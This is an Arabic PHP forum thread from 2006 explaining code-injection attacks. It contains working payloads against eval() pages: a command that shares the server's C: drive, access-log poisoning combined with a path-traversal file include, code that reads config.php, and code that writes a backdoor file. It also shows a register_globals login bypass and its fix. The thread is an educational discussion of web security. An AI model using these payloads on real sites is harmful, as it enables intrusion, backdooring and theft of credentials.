نسمع كثيرا عن اختراق المواقع عن طريق أضافة كود بى اتش بى الى قاعدة البيانات ومن ثم اختراق الموقع
فسؤالى ما هى الاكواد التى يتم ادخلها وكيفية الزائر يجلبه
وشكرا
نسمع كثيرا عن اختراق المواقع عن طريق أضافة كود بى اتش بى الى قاعدة البيانات ومن ثم اختراق الموقع
فسؤالى ما هى الاكواد التى يتم ادخلها وكيفية الزائر يجلبه
وشكرا
السلام عليكم و رحمة الله و بركاته
أخي العزيز لقد شملت بسؤالك عدة أنواع من الثغرات
كنت أود في البداية أن أطلبك منك توضيح أكثر في سؤالك , و لكن لابأس أن نتكلم على بعض الثغرات التي شملها سؤالك و بالتالي تكون الفائدة أكثر
حسب سؤالك فهمت أنك تقصد ثغرة حقن كود PHP
لنأخد كود يحتوي على ثغره من هدا النوع
<?php //register_globals On <-------------------- لنفرض أن eval($code); ?>
في هاته الحالة إدا قمنا بي إعطاء المتغير القيمة التالية
www.target.com/index.php?code=echo 'hello';
فبالتالي يطبق محتوى المتغير
$code
ككود لي
php
من طرف
function aval
فهي تقوم بتطبيق كود و تتعامل معه ك
string
أما في ما يخص المخترق فيستعمل الكود التالي
www.target.com/index.php?code=system('net share hack_me=c:');في هاته الحالة قمت بإنشاء إشتارك للملفات في
C:\
بإسم
hack_me
و لإستعمل هدا الإشتارك ما عليك إلا أن تقوم بي
\\62.101.XX.XX\hack_me\
/******************************************************************************/
هناك طريقة أخرى من خلالها يمكن أن نقوم بحقن كود
php
في الموقع
سوف أشرحها بإختصار شديد
غالبا ما نلاحظ هدي الطريقة في البرمجة على بعض المواقع
http://www.target.com/index.php?page=chat.php
كما نعلم أي صفحة نتصفحها فهي موجودة في
access.log
على الشكل
127.0.0.1 - - [09/Apr/2006:23:15:11 +0200] "GET /target/index.php?page=chat.php HTTP/1.1" 200 16
و الآن إدا كتبنا ميالي في
browser
http://www.target.com/<?system('net'.chr(0x20).'share'.chr(0x20).'hack_me=c:');?>نتحصل في الملف
access.log
على
127.0.0.1 - - [09/Apr/2006:23:36:40 +0200] "GET /target/<?system('net'.chr(0x20).'share'.chr(0x20).'hack_me=c:');?> HTTP/1.1" 403 325و بهده الطريقة فقد قمنا بعملية
inject code
في ملف
access.log
و ما علينا الآن الا أن نقوم بالعملية
include
لملف
access.log
بالطريقة الآتية
http://www.target.com/index.php?page=../../apache/logs/access.log
/***********************************************************/
هناك طرق آخرى لحقن الكود كإستعمال طريقة
sql injection
و طريقة تختلف بإختلاف أنواع سيرفورات قاعدة البيانات
ms sql
mysql
orcale
.....
أرجو أخي أن أكون أصبت و لو شيء ما من سؤالك
إجابتي قالبة للخطأ و مرحبا بكل تعقيب
ملاحظة
أرجوا أن لا تستعمل هاته التقنيات في ما لا يرضي الله
السلام عليكم
رَبِّ إِنِّي لِمَا أَنزَلْتَ إِلَيَّ مِنْ خَيْرٍ فَقِيرٌ
شرح رائع للفكرة
لقد أصبت يا أخى وأشكرك على مجهودك فى الرد وأحب أن استفسر منك عن هل هناك أمكانية مثلا من خلال أضافة كود بى اتش بى الى القاعدة ان يقوم هذا الشخص بأضافة ملف الى السيرفر يفيده بعد ذللك فى تدمير الموقع ؟
انا بصراحة لا انصح باستخدم الامر eval نهائيا
فهو امر مكروه بكل معنى الكلمة
السلام عليكم
أخي السائل عندما يستطيع المخترق أن يطبق أكواد php في موقعك يمكن القول أنه له التحكم الكامل
بحيث يمكنه إنشاء ملف backdoor في موقعك يحتوي على كود uplaod او أن يطبق أوامر DOS او SHELL
و هدا الإخير سبق و أن دكرناه في المثال , كما يمكن له أن يطلع على أكواد ملفاتك الحساسة ك config.php
وسوف نأخد الآن بعض الامثله الي جربتها بنفسي
هاته الصفحة التي تحتوي على الثغره
<?php //register_globals On <-------------------- لنفرض أن eval($input_code); ?>
و هدا محتوى الكود المحقون
index.php?file_name=config.php&input_code=$lines = file ($_GET['file_name']);foreach ($lines as $line_num=>$line)echo "$line_num : $line ";
و الكود الدي قمت بحقنه هو لي قراءة محتوى الملفات
و ها هو بالكالمل
<? $lines = file ($_GET['file_name']); foreach ($lines as $line_num=>$line) echo "$line_num : $line<br>"; ?>
و الآن سوف نحاول أن ننشىء
backdoor.php
يوحتوي على نفس الكود لقرائة الملفات الدي تعرضنا اليه
index.php?input_code=$file = fopen ("backdoor.php", "w");fputs ($file,'<? $lines = file ($_GET[\'file_name\']);foreach ($lines as $line_num=>$line)echo "$line_num : $line
"; ?>');fclose ($file);و الكود الدي قمت بحقنه هو لإتشاء الملفات
و ها هو بالكالمل
<?php
$file = fopen ("backdoor.php", "w");
fputs ($file,'<? $lines = file ($_GET[\'file_name\']);foreach ($lines as $line_num=>$line)echo "$line_num : $line<br>"; ?>');
fclose ($file);
?>الأمثلة عديدة و غير منتهي و تقتصر هلى إهتممات المخترق
لكي تفهمو ا ما أقصده أرجو التدقيق في الأكود و إدا كان هناك أي سؤال فلا تترددوا أرجوكم
/*********************************************************************************************************/
اما في ما يخص تفادي إستعمال الدالة eval و الله أخي المشرف هاته الدالة جلبت إعجابي رغم خطورة إستعمالها
و أدعم نصحك بتفادي إستعمالها من طرف المبتدئيين و دو نقص خبرة في الحماية
وسوف أستعرض عليكم قوة هاته الدالة
المثال مستوحي من مشروعي الحالي و هو CMS و هدا المثال بالضبط يسهل لكم فهم طريقة load themes
أحيانا الكود html الموجود في ملفات php يضخم من الكود و يجعله صعب القرائة و انا شخصيا لا أحب رؤيته مع كود PHP
و لهدا ألجا الى فصل كود html في ملفات من نوع HTML
ثم عندما أحتاج أليها اناديها بي php و لكن بالطريقة التالية
لنفرض هدا هو ملف HTML
main.html
<html> <head> <meta http-equiv="Content-Language" content="fr"> <title>$titlle</title> </head> <body> <div align="center"> <center> <table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="100"> <tr> <td width="100%" height="119" colspan="3" align="center"> <p align="center">$header</td> </tr> <tr> <td width="18%" height="313" align="center"> <p align="center">$left_block</td> <td width="63%" height="313" align="center">$body</td> <td width="19%" height="313" align="center">$right_block</td> </tr> <tr> <td width="100%" height="76" colspan="3" align="center">$footer</td> </tr> </table> </center> </div> </body> </html>
و الآن إدا لاحظتم أني وضعت متغيرات في كود html كـ
$titlle $body $left_block $right_block $header $footer
ما أردي أن أقوم به هو load الملف HTML و عرضعه مع تزويد كل المتغيرات الموجودة في الملف HTML بمتغيراتها مستعملا eval
index.php
<?php
//لنفرض أننا زودنا قيم هاته المتغيرات من قاعدة البيانات
$titlle ='eval exemple';
$body='body eval';
$left_block='left eval';
$right_block='right eval';
$header='header eval';
$footer='footrr eval';
$file_html = implode("", file("main.html"));
$file_html = addslashes($file_html);
$file_html = "\$result=\"".$file_html."\";";
eval($file_html);
echo $result;
?>و بهاته الطريقة مهما كانت ضخامة ملف html فهو معزول و يمكن أن أزود القيم الموجود في ملف HTML بطريقة ديناميكية كمحتوى blocks
أرجوا أن تكون وصلت فكرتي
إخواني الأعزاء لا تترددو في طرح الأسئلة
لقد زودتكم بالملفات المرفقة فيها المثال
كما زودتكم بـ
functions من تصميمي أعتمد عليها 60% من عملي أرجوا أن تستفيدو منها و أن لا تبخلو عليا بنقضكم و إستفساراتكم و و إقراحاتكم
تم تعديل هذه المشاركة بواسطة فقير لله في 13 أبريل 2006 في 01:38
رَبِّ إِنِّي لِمَا أَنزَلْتَ إِلَيَّ مِنْ خَيْرٍ فَقِيرٌ
شكرا لك يا أخى على المشاركة التفصلية والمفيدة وأتمنى أننا نلاقى لك دروس على موقعنا تفيدنا وتزود فهمنا لهذه اللغة
شكراً اخي فقير لله علي هذه المعلومات القيمة ولكن عندي سؤال
//register_globals On <-------------------- لنفرض أن
وجميع المتغيرات التي املكها بهذا الشكل
HTTP_POST_VARS['CODE'
OR
_POST[CODE]
فهل بهذا الشكل سوف يكون هناك خطر من فتح ال REGISER_GLOBALS
الهوست الذي املكه يفتحه
فلو هناك حل رجاء اخباري
وهل هناك خطر مماثل لeval عند استخدام الدالة extract في استعراض البيانات من قاعدة البيانات فاعتقد انها مشابه لها فلو هناك خطر رجاء اخباري ايضاً
وبالنسبة للمتغيرات التي تأتي من فورم الاتش تي ام ال كيف اجعل هذه المتغيرات بالشكل السابق وشكراَ
تم تعديل هذه المشاركة بواسطة abkareno في 19 أبريل 2006 في 22:53
يابن ادم ولدتك امك باكياً والناس حولك سروراً فعمل لي يوم اذا بكوا في يوم موتك ضاحكاً مسروراً
السلام و عليكم و رحمة الله و بركاته
أخي محمد (abkareno) ليس المشكل في
REGISER_GLOBALS
evla
extract
المشكلة في كيفية إستعمال الدوال
لنأخد مثال لكي إوظح فكرتي
في المثال لنفترض فيه
REGISER_GLOBALS on
<?php if ($connected=='TRUE') echo 'account info....'; else echo 'access denied !!'; ?>
فهنا ما على المخترق إلا إعطال القيمة
TRUE
للمتغير
$connected
http://www.target.com/account.php?connected=TRUE
و الحل في هاته الحالة هو
علينا أن لا نترك صلة مباشرة بين المخترق و قيم متغيرات التي نستعمملها للتحكم كـالمتغير
$connected
بحيث نستخلص قيم متغيرات التحكم بعد التحقق من
password
مثلا
<?php /* هنا يوضع كود يفصل بين القيم التي يمدها المخترق و متغير التحكم مثال if ($password_from_databas==$password_from_user) $connected='TRUE'; else $connected='FALSE'; */ if ($connected=='TRUE') echo 'account info....'; else echo 'access denied !!'; ?>
نفس الشيء بالنسبة الى
Eval
أما عن
extract
فأنا شخصيا لا أرى أيخطر في إستعمالها
و لا تبخلو علينا بالإفادة إن رأيتم عكس دالك
أتمنى أن تكون قد وصلت الفركة
و أعتدر ما إدا لم أجد الشرح لأني لست معربا %
رَبِّ إِنِّي لِمَا أَنزَلْتَ إِلَيَّ مِنْ خَيْرٍ فَقِيرٌ
هذا الموضوع مغلق.
المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية
جارٍ التحقق من المتواجدين…